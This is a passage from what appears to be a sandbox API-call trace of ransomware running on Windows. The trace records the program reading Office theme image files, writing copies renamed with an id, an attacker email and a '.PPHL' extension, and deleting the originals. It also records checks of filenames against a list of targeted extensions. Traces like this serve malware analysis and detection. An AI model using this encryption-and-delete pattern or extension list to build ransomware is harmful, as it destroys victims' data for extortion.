lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0076.939] SetEndOfFile (hFile=0x200) returned 1 [0076.939] CloseHandle (hObject=0x200) returned 1 [0076.939] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.939] SetEndOfFile (hFile=0x208) returned 1 [0076.940] CloseHandle (hObject=0x208) returned 1 [0076.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.941] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0076.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.941] lstrlenW (lpString=".doc") returned 4 [0076.941] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.941] lstrlenW (lpString=".docx") returned 5 [0076.941] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.941] lstrlenW (lpString=".pdf") returned 4 [0076.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.941] lstrlenW (lpString=".xls") returned 4 [0076.942] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.942] lstrlenW (lpString=".xlsx") returned 5 [0076.942] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.942] lstrlenW (lpString=".ppt") returned 4 [0076.942] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString=".zip") returned 4 [0076.942] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.942] lstrlenW (lpString=".rar") returned 4 [0076.942] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.942] lstrlenW (lpString=".bz2") returned 4 [0076.942] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.942] lstrlenW (lpString=".7z") returned 3 [0076.942] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString=".dbf") returned 4 [0076.942] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString=".1cd") returned 4 [0076.942] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString=".jpg") returned 4 [0076.942] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.942] lstrlenW (lpString=".doc") returned 4 [0076.942] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0076.943] lstrlenW (lpString=".docx") returned 5 [0076.943] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0076.943] lstrlenW (lpString=".pdf") returned 4 [0076.943] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0076.943] lstrlenW (lpString=".xls") returned 4 [0076.943] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0076.943] lstrlenW (lpString=".xlsx") returned 5 [0076.943] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0076.943] lstrlenW (lpString=".ppt") returned 4 [0076.943] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0076.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.943] lstrlenW (lpString=".zip") returned 4 [0076.943] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0076.943] lstrlenW (lpString=".rar") returned 4 [0076.943] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0076.943] lstrlenW (lpString=".bz2") returned 4 [0076.943] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0076.943] lstrlenW (lpString=".7z") returned 3 [0076.943] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0076.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.943] lstrlenW (lpString=".dbf") returned 4 [0076.943] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0076.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.943] lstrlenW (lpString=".1cd") returned 4 [0076.943] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0076.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0076.943] lstrlenW (lpString=".jpg") returned 4 [0076.943] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0076.944] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0076.944] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0076.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.944] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=20575) returned 1 [0076.944] CloseHandle (hObject=0x208) returned 1 [0076.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0076.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.945] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.945] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0076.945] GetLastError () returned 0x0 [0076.945] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x505f, lpOverlapped=0x0) returned 1 [0076.951] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0076.953] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.953] WriteFile (in: hFile=0x200, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.953] SetEndOfFile (hFile=0x200) returned 1 [0076.953] CloseHandle (hObject=0x200) returned 1 [0076.954] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.954] SetEndOfFile (hFile=0x208) returned 1 [0076.955] CloseHandle (hObject=0x208) returned 1 [0076.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0076.955] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0076.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.955] lstrlenW (lpString=".doc") returned 4 [0076.956] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.956] lstrlenW (lpString=".docx") returned 5 [0076.956] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.956] lstrlenW (lpString=".pdf") returned 4 [0076.956] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.956] lstrlenW (lpString=".xls") returned 4 [0076.956] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.956] lstrlenW (lpString=".xlsx") returned 5 [0076.956] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.956] lstrlenW (lpString=".ppt") returned 4 [0076.956] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.956] lstrlenW (lpString=".zip") returned 4 [0076.956] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.956] lstrlenW (lpString=".rar") returned 4 [0076.956] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.956] lstrlenW (lpString=".bz2") returned 4 [0076.956] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.956] lstrlenW (lpString=".7z") returned 3 [0076.956] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.956] lstrlenW (lpString=".dbf") returned 4 [0076.956] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.956] lstrlenW (lpString=".1cd") returned 4 [0076.956] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.957] lstrlenW (lpString=".jpg") returned 4 [0076.957] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.957] lstrlenW (lpString=".doc") returned 4 [0076.957] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0076.957] lstrlenW (lpString=".docx") returned 5 [0076.957] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0076.957] lstrlenW (lpString=".pdf") returned 4 [0076.957] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0076.957] lstrlenW (lpString=".xls") returned 4 [0076.957] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0076.957] lstrlenW (lpString=".xlsx") returned 5 [0076.957] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0076.957] lstrlenW (lpString=".ppt") returned 4 [0076.957] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0076.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.957] lstrlenW (lpString=".zip") returned 4 [0076.957] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0076.957] lstrlenW (lpString=".rar") returned 4 [0076.957] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0076.957] lstrlenW (lpString=".bz2") returned 4 [0076.957] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0076.957] lstrlenW (lpString=".7z") returned 3 [0076.957] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0076.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.957] lstrlenW (lpString=".dbf") returned 4 [0076.958] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0076.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.958] lstrlenW (lpString=".1cd") returned 4 [0076.958] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0076.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0076.958] lstrlenW (lpString=".jpg") returned 4 [0076.958] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0076.958] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0076.958] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0076.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.959] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1287) returned 1 [0076.959] CloseHandle (hObject=0x208) returned 1 [0076.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0076.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0076.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0076.959] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.959] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0077.232] GetLastError () returned 0x0 [0077.232] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x507, lpOverlapped=0x0) returned 1 [0077.249] WriteFile (in: hFile=0x220, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x510, lpOverlapped=0x0) returned 1 [0077.250] ReadFile (in: hFile=0x208, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.250] WriteFile (in: hFile=0x220, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.250] SetEndOfFile (hFile=0x220) returned 1 [0077.250] CloseHandle (hObject=0x220) returned 1 [0077.251] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.251] SetEndOfFile (hFile=0x208) returned 1 [0077.251] CloseHandle (hObject=0x208) returned 1 [0077.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.252] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0077.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.252] lstrlenW (lpString=".doc") returned 4 [0077.252] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.252] lstrlenW (lpString=".docx") returned 5 [0077.252] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.252] lstrlenW (lpString=".pdf") returned 4 [0077.252] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.252] lstrlenW (lpString=".xls") returned 4 [0077.252] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.252] lstrlenW (lpString=".xlsx") returned 5 [0077.252] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.252] lstrlenW (lpString=".ppt") returned 4 [0077.252] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".zip") returned 4 [0077.253] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString=".rar") returned 4 [0077.253] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString=".bz2") returned 4 [0077.253] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.253] lstrlenW (lpString=".7z") returned 3 [0077.253] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".dbf") returned 4 [0077.253] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".1cd") returned 4 [0077.253] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".jpg") returned 4 [0077.253] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".doc") returned 4 [0077.253] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.253] lstrlenW (lpString=".docx") returned 5 [0077.253] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.253] lstrlenW (lpString=".pdf") returned 4 [0077.253] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString=".xls") returned 4 [0077.253] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString=".xlsx") returned 5 [0077.253] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.253] lstrlenW (lpString=".ppt") returned 4 [0077.253] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.253] lstrlenW (lpString=".zip") returned 4 [0077.254] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.254] lstrlenW (lpString=".rar") returned 4 [0077.254] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.254] lstrlenW (lpString=".bz2") returned 4 [0077.254] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.254] lstrlenW (lpString=".7z") returned 3 [0077.254] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.254] lstrlenW (lpString=".dbf") returned 4 [0077.254] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.254] lstrlenW (lpString=".1cd") returned 4 [0077.254] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0077.254] lstrlenW (lpString=".jpg") returned 4 [0077.254] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.254] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.254] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.254] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0077.851] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=32403) returned 1 [0077.851] CloseHandle (hObject=0x1f8) returned 1 [0077.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0077.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0077.872] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.872] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0077.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0077.880] GetLastError () returned 0x0 [0077.880] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0077.882] WriteFile (in: hFile=0x224, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0077.883] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0077.883] WriteFile 